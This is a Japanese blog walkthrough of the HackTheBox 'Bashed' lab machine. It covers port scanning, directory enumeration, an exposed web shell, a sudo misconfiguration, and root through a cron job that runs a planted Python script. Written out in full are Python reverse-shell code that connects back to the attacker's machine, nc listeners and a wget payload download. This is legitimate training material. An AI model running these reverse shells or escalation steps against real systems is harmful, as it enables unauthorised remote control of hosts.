HackTheBox Bashed Walkthrough
https://app.hackthebox.eu/machines/Bashed
今回はHackTheBox BashedのWalkthrough書きます。
userはびっくりするほど簡単だったけど、rootは難しかった...
目次
ポートスキャン
nmapの結果を見ると80番しか空いていない。これはWeb狙い撃ちだな。
利用サービスはApacheの2.4.18だった。
┌──(kali㉿kali)-[~] └─$ sudo nmap -A 10.10.10.68 [sudo] kali のパスワード: Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-07 11:28 JST Nmap scan report for 10.10.10.68 Host is up (0.078s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Arrexel's Development Site No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.91%E=4%D=8/7%OT=80%CT=1%CU=34834%PV=Y%DS=2%DC=T%G=Y%TM=610DEFF2 OS:%P=x86_64-pc-linux-gnu)SEQ(SP=FC%GCD=1%ISR=10A%TI=Z%CI=I%II=I%TS=8)OPS(O OS:1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11N OS:W7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R OS:=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS% OS:RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y OS:%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R OS:%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T= OS:40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S OS:) Network Distance: 2 hops TRACEROUTE (using port 1720/tcp) HOP RTT ADDRESS 1 78.11 ms 10.10.14.1 2 78.31 ms 10.10.10.68 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 22.30 seconds
Webサーバの調査
普通にブラウザでアクセスしてみると、phpbashのブログが出てきた。
タイトル的にwebshellとか出てきそう。
とにかく、gobuster
でディレクトリ列挙をかけて怪しいページを探す。
/uploads
があるので、ファイル転送の時はありがたく使わせてもらえそう。
┌──(kali㉿kali)-[~] └─$ gobuster dir -u http://10.10.10.68 -w /usr/share/dirb/wordlists/common.txt -e -k =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.10.68 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/dirb/wordlists/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Expanded: true [+] Timeout: 10s =============================================================== 2021/08/07 11:33:14 Starting gobuster in directory enumeration mode =============================================================== http://10.10.10.68/.hta (Status: 403) [Size: 290] http://10.10.10.68/.htaccess (Status: 403) [Size: 295] http://10.10.10.68/.htpasswd (Status: 403) [Size: 295] http://10.10.10.68/css (Status: 301) [Size: 308] [--> http://10.10.10.68/css/] http://10.10.10.68/dev (Status: 301) [Size: 308] [--> http://10.10.10.68/dev/] http://10.10.10.68/fonts (Status: 301) [Size: 310] [--> http://10.10.10.68/fonts/] http://10.10.10.68/images (Status: 301) [Size: 311] [--> http://10.10.10.68/images/] http://10.10.10.68/index.html (Status: 200) [Size: 7743] http://10.10.10.68/js (Status: 301) [Size: 307] [--> http://10.10.10.68/js/] http://10.10.10.68/php (Status: 301) [Size: 308] [--> http://10.10.10.68/php/] http://10.10.10.68/server-status (Status: 403) [Size: 299] http://10.10.10.68/uploads (Status: 301) [Size: 312] [--> http://10.10.10.68/uploads/] =============================================================== 2021/08/07 11:33:52 Finished ===============================================================
いくつかのディレクトリにアクセスしてみると、/dev
配下でPHPのシェルがいくつか出てきた。
phpbash.php
にアクセスしてみると、なんとコマンドラインが出てきた。
www-data
ユーザでできそうな範囲のコマンドを実行できそう。
このサーバのユーザは、arrexel
とscriptmanager
の2人がいて、
あっさりarrexel
のホームディレクトリにあったuser.txtが見つかった。
権限昇格
そもそも/root
が見られない。PWなしでsudoできそうなコマンドをsudo -l
で探す。
さっきのブラウザのphpbash.php
から実行してみると、www-dataからPWなしでsudoすれば、
scriptmanagerになれることが判明。
www-data@bashed :/var/www/html/dev# sudo -l Matching Defaults entries for www-data on bashed: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on bashed: (scriptmanager : scriptmanager) NOPASSWD: ALL
scriptmanagerにはbashはある。特にこれと言って面白いものはなかった。
ただ、ブラウザのphpbash.phpからではscriptmanagerとして操作ができないので、
リバースシェルを張ってKaliから操作をすることにした。
今回、PHPリバースシェルで上手く行かなかったので、
Pythonを使えるか確認してみたところ、なんかいけそう
Pythonでのリバースシェル作成は、Pentestmonkeyのサイトから作成した。
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
このリバースシェルをBashedのphpbash.phpから実行する。 以下の内容をphpbash.phpに入力する。
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("KaliのIPアドレス",待ち受けたいポート番号)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Kali Linux側で4444番で待ち受けておく。ログインした時はwww-data
で入っている。
ただ、このままではbash情報が出てこないので、 python -c 'import pty;pty.spawn("/bin/bash"):'
を実行して、
少し見やすくしてみた。これでどのユーザになっているかすぐ分かる。
┌──(kali㉿kali)-[~] └─$ nc -vlnp 4444 listening on [any] 4444 ... connect to [10.10.14.2] from (UNKNOWN) [10.10.10.68] 48800 /bin/sh: 0: can't access tty; job control turned off $ python -c 'import pty;pty.spawn("/bin/bash");' www-data@bashed:
scriptmanagerにsudo -u
でユーザ変更。
www-data@bashed:/var/www/html/dev$ sudo -u scriptmanager /bin/bash sudo -u scriptmanager /bin/bash scriptmanager@bashed:
ルートディレクトリに移動し、怪しいファイルやディレクトリがないか探す
scriptmanager@bashed:~$ cd / cd / scriptmanager@bashed:/$ ls -la ls -la total 88 drwxr-xr-x 23 root root 4096 Dec 4 2017 . drwxr-xr-x 23 root root 4096 Dec 4 2017 .. drwxr-xr-x 2 root root 4096 Dec 4 2017 bin drwxr-xr-x 3 root root 4096 Dec 4 2017 boot drwxr-xr-x 19 root root 4240 Aug 6 21:16 dev drwxr-xr-x 89 root root 4096 Dec 4 2017 etc drwxr-xr-x 4 root root 4096 Dec 4 2017 home lrwxrwxrwx 1 root root 32 Dec 4 2017 initrd.img -> boot/initrd.img-4.4.0-62-generic drwxr-xr-x 19 root root 4096 Dec 4 2017 lib drwxr-xr-x 2 root root 4096 Dec 4 2017 lib64 drwx------ 2 root root 16384 Dec 4 2017 lost+found drwxr-xr-x 4 root root 4096 Dec 4 2017 media drwxr-xr-x 2 root root 4096 Feb 15 2017 mnt drwxr-xr-x 2 root root 4096 Dec 4 2017 opt dr-xr-xr-x 121 root root 0 Aug 6 21:16 proc drwx------ 3 root root 4096 Dec 4 2017 root drwxr-xr-x 18 root root 500 Aug 6 21:16 run drwxr-xr-x 2 root root 4096 Dec 4 2017 sbin drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec 4 2017 scripts drwxr-xr-x 2 root root 4096 Feb 15 2017 srv dr-xr-xr-x 13 root root 0 Aug 6 21:16 sys drwxrwxrwt 10 root root 4096 Aug 6 21:20 tmp drwxr-xr-x 10 root root 4096 Dec 4 2017 usr drwxr-xr-x 12 root root 4096 Dec 4 2017 var lrwxrwxrwx 1 root root 29 Dec 4 2017 vmlinuz -> boot/vmlinuz-4.4.0-62-generic
/scripts
だけscriptmanagerでアクセスできそうなので、覗いてみる。
scriptmanager@bashed:/$ cd scripts cd scripts scriptmanager@bashed:/scripts$ ls -la ls -la total 16 drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec 4 2017 . drwxr-xr-x 23 root root 4096 Dec 4 2017 .. -rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py -rw-r--r-- 1 root root 12 Aug 6 21:20 test.txt scriptmanager@bashed:/scripts$ cat test.py cat test.py f = open("test.txt", "w") f.write("testing 123!") f.close scriptmanager@bashed:/scripts$ scriptmanager@bashed:/scripts$ cat test.txt cat test.txt testing 123!scriptmanager@bashed:/scripts$
test.txtの内容をtest.pyに読み込ませてなんか実行してるっぽい...? test.txtはrootだし、test.pyはscriptmanagerだしなんだか怪しい。 test.pyを書き換えて、シェルを奪えないか試してみることに。
viで直接編集しようと思ったが、なぜか上手く行かなかったので、
Kaliでtest.pyを作成して、Bashedの/uploads
経由で転送することにした。
test.pyは以下の通り、先程のリバースシェルと同じ。
転送先のポート番号は、先程と別の番号にしておく。
import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("KaliのIPアドレス",転送先のポート番号)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
そして、実行権限を変えて、test.pyを作成したディレクトリでSimpleHTTPServerを立てて、
転送準備を済ませておく。
┌──(kali㉿kali)-[~] └─$ chmod 755 test.py ┌──(kali㉿kali)-[~] └─$ python -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ... 10.10.10.68 - - [07/Aug/2021 13:30:06] "GET /test.py HTTP/1.1" 200 -
Bashed側からwgetして、/scripts
フォルダにtest.pyを転送する。
もとからあったtest.pyは、test.py.bakとかにリネームし、
転送したtest.pyは、名前をtest.pyにリネームして準備完了。
scriptmanager@bashed:/scripts$ wget http://10.10.14.2/test.py wget http://10.10.14.2/test.py --2021-08-06 21:35:30-- http://10.10.14.2/test.py Connecting to 10.10.14.2:80... connected. HTTP request sent, awaiting response... 200 OK Length: 213 [text/plain] Saving to: 'test.py.1' test.py.1 100%[===================>] 213 --.-KB/s in 0s 2021-08-06 21:35:31 (44.6 MB/s) - 'test.py.1' saved [213/213] scriptmanager@bashed:/scripts$ ls -ltr ls -ltr total 16 -rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py.bak -rw-r--r-- 1 scriptmanager scriptmanager 213 Aug 6 21:28 test.py.1 -rw-r--r-- 1 root root 12 Aug 6 21:33 test.txt
改造したtest.pyで、Kali側の1234番で待ち受けると、rootが取れた。
┌──(kali㉿kali)-[~] └─$ nc -vlnp 1234 listening on [any] 1234 ... connect to [10.10.14.2] from (UNKNOWN) [10.10.10.68] 53148 /bin/sh: 0: can't access tty; job control turned off # whoami root # ls test.py test.py.bak test.txt # cd /root # ls root.txt # cat root.txt
最後に確認したが、crontabを見ると、/scripts
配下に置いてあるpythonスクリプトを
一定時間ごとに自動実行するように登録されてあった。
# crontab -l * * * * * cd /scripts; for f in *.py; do python "$f"; done